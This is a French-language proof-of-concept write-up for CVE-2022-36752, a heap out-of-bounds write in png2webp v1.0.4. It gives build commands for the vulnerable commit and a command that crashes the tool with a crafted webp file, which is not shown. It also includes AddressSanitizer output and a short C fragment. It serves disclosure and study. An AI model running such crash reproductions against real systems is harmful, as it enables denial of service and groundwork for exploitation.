
Preuve de concept pour CVE-2022-36752
png2webp v1.0.4 s'est avéré contenir une écriture hors limites via la fonction w2p. Cette vulnérabilité est exploitable via un fichier webp spécialement conçu lors de la reconversion du format vers png.
Pour reproduire la vulnérabilité, téléchargez la version vulnérable de png2webp (v1.0.4) et compilez le projet :
git clone https://github.com/landfillbaby/png2webp.git
cd png2webp
git checkout 0c7119109cde91127a263bf0af252e5e730f7fba
git submodule update --init --depth 1
./configure && make
Une fois le projet compilé, nous pouvons pointer png2webp vers notre fichier .webp malveillant inclus dans ce dépôt (CVE-2022-36752_crash.webp) :
./png2web -r CVE-2022-36752_crash.webp
La commande précédente provoquera un crash et renverra un message d'erreur :
corrupted size vs. prev_size
Pour mieux comprendre où se produit le crash, recompilons le projet avec l'AddressSanitizer (ASAN) en ajoutant -fsanitize=address à la variable CFLAGS du Makefile. Nous voulons également que le compilateur stocke les informations de la table des symboles dans l'exécutable (option -g) pour nous aider à déterminer quelle ligne de code a provoqué le crash :
ifeq (${uname_m},x86_64)
CFLAGS ?= -O3 -Wall -Wextra -pipe -flto=auto -DNDEBUG -march=x86-64-v2 -fsanitize=address -g
Ensuite, nous allons nettoyer les fichiers obsolètes et recompiler le projet :
make clean
make
ASAN signale une écriture invalide de taille 12 dans le programme, confirmant l'existence d'une vulnérabilité d'écriture hors limites :
==222970==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000010 at pc 0x563e3ec4ee6a bp 0x7fff3a7b04d0 sp 0x7fff3a7b04c8
WRITE of size 12 at 0x602000000010 thread T0
#0 0x563e3ec4ee69 (/dev/shm/png2webp/png2webp+0x23e69)
#1 0x563e3ec3df34 (/dev/shm/png2webp/png2webp+0x12f34)
#2 0x7fcfe4967189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#3 0x7fcfe4967244 in __libc_start_main_impl ../csu/libc-start.c:381
#4 0x563e3ec3e3f0 (/dev/shm/png2webp/png2webp+0x133f0)
0x602000000017 is located 0 bytes to the right of 7-byte region [0x602000000010,0x602000000017)
allocated by thread T0 here:
#0 0x7fcfe4cae7cf in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x563e3ec46052 (/dev/shm/png2webp/png2webp+0x1b052)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/dev/shm/png2webp/png2webp+0x23e69)
Shadow bytes around the buggy address:
0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa[07]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==222970==ABORTING
if(l < 12
#ifdef SSIZE_MAX
|| l - 12 > SSIZE_MAX
#endif
) {
PF("ERROR reading %s: %s", IP, k[2]);
goto w2p_close;
}